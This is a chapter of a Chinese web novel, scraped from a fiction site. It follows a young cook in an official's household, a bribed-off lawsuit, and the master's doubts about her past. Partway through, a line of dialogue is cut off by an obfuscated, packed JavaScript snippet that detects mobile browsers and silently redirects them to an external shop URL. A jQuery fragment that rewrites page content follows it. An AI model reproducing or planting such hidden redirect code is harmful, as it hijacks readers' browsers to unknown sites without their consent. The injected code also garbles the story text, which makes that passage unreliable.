文趣网 > 都市小说 > 蔓娘 > 25. 第 25 章
    季家突然倒台,刚进门的蔓娘年岁小什么也不懂,便想着留在这里比回家要好,于是在季家仆从全部遣散之后,推了季扬给的遣散银两,说什么也要留在季家。

    人活在这世上,就得有用,这是蔓娘爹常说的一句话。

    蔓娘在家里洗衣做饭种地什么都做的,劳累不说,还常常食不果腹,否则也不至于十四岁的年纪,还没有十岁的季扬高大。

    她觉得自己留下来就得做事,于是一个人当起了丫鬟,既洒扫院子也洗衣服,还洗手作羹汤。

    在吴家时她也没吃过什么好东西,荤腥自且不必提,能吃口豆腐对于蔓娘来说都是过年了,因此当外面卖豆腐郎经过时,她流着口水要了一块豆腐。厨房里各味调料都有的,蔓娘只认识大酱和盐巴,于是像在家一样做了酱豆腐。

    放了很多酱,吃起来齁咸,如此好下饭,过小年时候的一块豆腐够蔓娘一家五口吃两顿的。

    想到他们只有三个孩子,于是蔓娘没放那么多盐,当用橱柜里精致菜碗装菜时,蔓娘隐约觉得做的黑乎乎的酱豆腐与之不大相配,想了想,从厨房灶膛旁小花盆里掐了一根已经蔫巴的小葱叶,翠绿的葱碎摆上去,蔓娘自觉赏心悦端了出去。

    季府遣散仆从和小妾们闹了一天才消停,他们三个孩子也才吃上今日第一顿饭。小少爷有心问这是什么菜他怎么都没见过?但蔓娘先开口了,说用勺子舀一勺和米饭和在一起吃格外香。

    小少爷季扬哪里肯叫人看扁了去,只说了句:“不用说我也知道。”

    学着蔓娘将饭菜搅在一起,一顿饭吃完,蔓娘去收拾厨房,小少爷继续读书,却不想突然嗓子发紧。还以为是吃咸了,可喝了水也无济于事。

    等到小厮找到蔓娘时,季扬脸上脖子上尽是红疹,他还无知觉伸手去抓,好好的肌肤抓的一道道血红痕子。

    吓的在场俩人都要哭了,幸好附近有医馆,吃了三日的汤药才彻底好转,期间苦难自不必提。

    “郎君,我觉得她是故意的。”蔓娘做的那道东坡豆腐没端上来,匆忙之下临时做了一道鸡蛋羹。

    鸡蛋是好东西,寻常百姓偶尔才吃一次,府里存的也不多,就剩下最后两个,被蔓娘打散之后倒了温水,撇去上头浮沫,洒了切好的葱花和麻油,热锅蒸制,出锅时候也没开盖子,直接小盅端上托盘。

    这会儿清源打开盖子,登时一股蛋香裹挟着葱香而来。

    室内有清晰的吞咽口水声音,季守谦淡淡地看了清源一眼。

    清源嘿嘿笑,颇为难为情道:“很多年没吃过鸡蛋羹了。”

    仔细一想,上次吃鸡蛋羹竟然还是多年前,也是蔓娘做的,像是眼前这盅一样,如黄金似的金灿灿,用勺子轻轻一碰,便如波浪是的晃动开来。

    清源鼻子一酸,心里说不出的惆怅酸涩。

    席间食不言,主仆二人吃过饭后,清源恢复过来,没忍住猜测,说蔓娘会不会是故意在报复。

    季守谦却是漱过口后淡然道:“未必。”

    他与蔓娘接触的次数不多,远没有清源同蔓娘走的近。“她来府里快两个月了,相处下来你觉得如何?”

    好一番回忆后,清源面上有点挂不住,因为他不得不承认这些日子以来,蔓娘的一举一动并无不妥。如果不知道她的真实身份,清源依旧会对她颇有好感,喜欢去后院找她闲聊,觉得和她呆在一起颇为自在。

    之所以现在看蔓娘哪哪都不顺眼,就是觉得她抛弃了誓言,明明走的时候说好了要等他们郎君功成名就后回家来接她的。

    “为人老实本分,任劳任怨,但是……”

    季守谦打断了清源的话,“在书院读书时便给你改了名字,至于我,则是一直称呼表字。再者,过去了将近八年,故人见面不相逢。”

    清源:“郎君,可否还要再试探一番?或者,要我驱她出府?”

    季守谦:“府里一个厨子不够。”

    这就是要留下她的意思,清源心想,既如此,先这般相处,也算成全了当年郎君立下的要给她养老送终的誓言。

    ……

    又到了发月银的时候,蔓娘照旧只按了手印,领了钱后藏起来,待出去采买时换成了银子。她从打杂升为掌勺,月银就升到了六百,换算成银子的话不过半两,一小块而已,可拿在手里却觉得心里空虚的某处被填满了。

    只要她勤勤恳恳地攒钱,要不了几年她就能盘个小铺子养活自己,亦或者里在府里,也不失为一种好选择。起码府里不会被人欺负,郎君也是公平公正的,这对于蔓娘来说简直难得。

    已经八月了,府里水井水位一直在降,李二娘不肯用井水洗衣服了,索性出去打水回来,那井水留着吃喝。

    这天李二娘挑着扁担回来,蔓娘恰巧碰见便帮忙倒水。本以为河水会浑浊,不想倒出来也清澈见底。

    李二娘道:“官府弄了个过滤的大桶,从里面倒出来的水就是这样干净的,虽然不能直接喝,但洗衣服没问题。”

    “多亏了大人体恤百姓。”

    李二娘道:“是啊,要不然城里非得要断水了不可。对了,我方才出去听说一件事。”

    李二娘先是左右看了看,见附近只有她们二人,这才小声开口:“我听人家说,王家不提告了。”

    “什么?”蔓娘一愣。

    那王芸娘是她背着出来的,她亲眼看见少女被折磨成什么样子,王家怎地不提告了?这是为何?难道不想为女儿讨公道吗?

    百思不得其解,晚上送菜时候没忍住问了清源,“莫不是怕损坏自己名声?”

    时下女子虽能二嫁三嫁,可遭遇这种事情恐往后都出不去门抬不起头。

    清源叹气:“当时王家父母来报官说女儿失踪,就已经闹的满城风雨,后来王芸娘被找回来,王家父母又来衙门敲鼓鸣冤,求郎君给他们一个公道,因此全城都知道此事。”

    “那为何他们又撤销提告了?”

    清源的表情很是微妙,半是不屑半是怜悯。

    “还能为什么?有钱能使鬼推磨。”

    “那徐家使了钱?可王家父母不是要提告吗?”

    “王芸娘的哥哥嫂嫂们

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714582|206967||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    收了钱,劝王家爹娘别再追究了。”

    清源义愤填膺还在说着什么,蔓娘却是沉默了。

    她们这样底层老百姓,在上位者的眼里就像是一只小蚂蚁,随便抬起一根手指就能压的动弹不得。就算能挣扎,也会被家人背后捅一刀。

    当年才十四岁的蔓娘就是被亲生爹娘卖进季家冲洗,要知道那季老爷年近半百,甚至能当她的祖父。

    她为王芸娘难过,为像她们这样的人伤心。

    没人会在意一只蚂蚁。

    俩人就站在主院门口说话,敞开的门窗将外面情况尽收眼底。

    能看见她低垂着脑袋,垂在裤边的手紧紧抓着衣袖。

    季老爷也曾是当地行善积德的员外,有了独子季扬后更是为了体弱儿子积攒德行,经常救济贫苦百姓,有时候甚至乞丐上门都不会驱赶,赠热乎的馒头于对方。

    那年冬日雪下的极大,空荡荡地季家响起拍门声。打开门来竟然城内乞丐,祈求给口热乎吃食,蔓娘没遇过这种事情,竟没拦住门被他们闯了进来。

    问讯赶来的季扬将人赶走,现在季家只能将就供他们三人衣食住行,再多一口都没有了。

    当时过了除夕十五岁的蔓娘就是此刻这般,揪着衣摆,像是可怜他们,又像是看见了自己。

    果然人再怎么变,也是会保留年少时的习惯。

    “怪可怜的。”蔓娘低声咕哝一句。

    清源耳聪目明正好听见了,他说了句:“是啊,天底下可怜人太多。”

    也不知道脑子怎么回事,就突然想到了他们郎君。当时功成名就回到家乡,却不见昔日人影,他们郎君多方打探还亲自寻了多日,舟车劳顿加之染了风寒,差点坐下病根。

    如此想着,便觉得他们郎君更为可怜,不免对眼前人产生不满情绪,忍不住阴阳怪气。

    “我还知道那可恨之人,勾结外人谋划旁人家产不说,最后还和野男人远走高飞了!”

    清源说这话时咬牙切齿的模样,此番言论相当于双方亮明身份了,他甚至做好了她诡辩的准备。可万万没想到,站在清源面前的蔓娘却是抬起头,一双杏眸里露出些许迷惑。

    这是在说县城里的案子吗?

    倒像是一副什么都不知晓的模样。

    等人走后,清源不免挑刺:“我看她就是在外面混的久了,装纯良装的炉火纯青。”

    “亦可能一切都是假的。”

    清源皱眉:“郎君的意思是,族里人说她谋划财产和偷野男人,都是假的?可邻里都这样说而且他们亲眼瞧见了。”

    “想作假并不难,王芸娘便是个例子,当时她失踪,附近商户咬死了没发现异常。一来是恐徐家报复,二来确实没露出太多端倪,营造出一种平和假象。”

    “可族里人为何这样做?多小主母一个人只是多了张嘴罢了,郎君您高中探花,还养不了她一个弱女子吗?”

    “人心不足蛇吞象罢了。”

    清源还想再说什么,可立刻咂摸出不对劲来。

    郎君这是……相信蔓娘无辜?